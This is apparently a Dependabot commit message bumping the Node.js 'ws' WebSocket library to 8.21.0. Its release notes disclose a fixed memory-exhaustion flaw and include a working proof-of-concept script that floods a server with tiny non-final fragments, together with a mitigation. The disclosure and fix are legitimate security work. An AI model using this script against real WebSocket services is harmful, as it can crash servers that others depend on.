Bumps [ws](https://github.com/websockets/ws) from 8.18.1 to 8.21.0. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/websockets/ws/releases">ws's releases</a>.</em></p> <blockquote> <h2>8.21.0</h2> <h1>Features</h1> <ul> <li>Introduced the <code>maxBufferedChunks</code> and <code>maxFragments</code> options (2b2abd45).</li> </ul> <h1>Bug fixes</h1> <ul> <li>Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).</li> </ul> <p>A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a <code>ws</code> server or client due to OOM.</p> <pre lang="js"><code>import { WebSocket, WebSocketServer } from 'ws'; <p>const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(<code>ws://localhost:${port}</code>);</p> <p>ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });</p> <p>ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(<code>client close - code: ${code} reason: ${reason.toString()}</code>); }); });</p> <p>wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(<code>server close - code: ${code} reason: ${reason.toString()}</code>); }); }); </code></pre></p> <p>The vulnerability was responsibly disclosed and fixed by <a href="https://github.com/Nadav0077">Nadav Magier</a>.</p> <p>In vulnerable versions, the issue can be mitigated by lowering the value of the <code>maxPayload</code> option if possible.</p> <h2>8.20.1</h2>  </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"><code>bca91ad</code></a> [dist] 8.21.0</li> <li><a href="https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a"><code>2b2abd4</code></a> [security] Limit retained message parts</li> <li><a href="https://github.com/websockets/ws/commit/78eabe2a6677b231bf9c82601bde86ff91639490"><code>78eabe2</code></a> [security] Add latest vulnerability to SECURITY.md</li> <li><a href="https://github.com/websockets/ws/commit/5d9b316230ea931532a6671cc450f18c11edd02f"><code>5d9b316</code></a> [dist] 8.20.1</li> <li><a href="https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086"><code>c0327ec</code></a> [security] Fix uninitialized memory disclosure in <code>websocket.close()</code></li> <li><a href="https://github.com/websockets/ws/commit/ce2a3d62437995a47e6056d485a33d21b6a8f867"><code>ce2a3d6</code></a> [ci] Test on node 26</li> <li><a href="https://github.com/websockets/ws/commit/58e45b872bb0f35a3edd553c27e105300a4f5bd0"><code>58e45b8</code></a> [ci] Do not test on node 25</li> <li><a href="https://github.com/websockets/ws/commit/5f26c245231a4b018479a9269e8c3da4773fe42f"><code>5f26c24</code></a> [ci] Run the lint step on node 24</li> <li><a href="https://github.com/websockets/ws/commit/843925544e2f4cffe445e0179947f56d6c5b608f"><code>8439255</code></a> [dist] 8.20.0</li> <li><a href="https://github.com/websockets/ws/commit/d3503c1fd36a310985108f62b343bae18346ab67"><code>d3503c1</code></a> [minor] Export the <code>PerMessageDeflate</code> class and header utils</li> <li>Additional commits viewable in <a href="https://github.com/websockets/ws/compare/8.18.1...8.21.0">compare view</a></li> </ul> </details> <br /> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>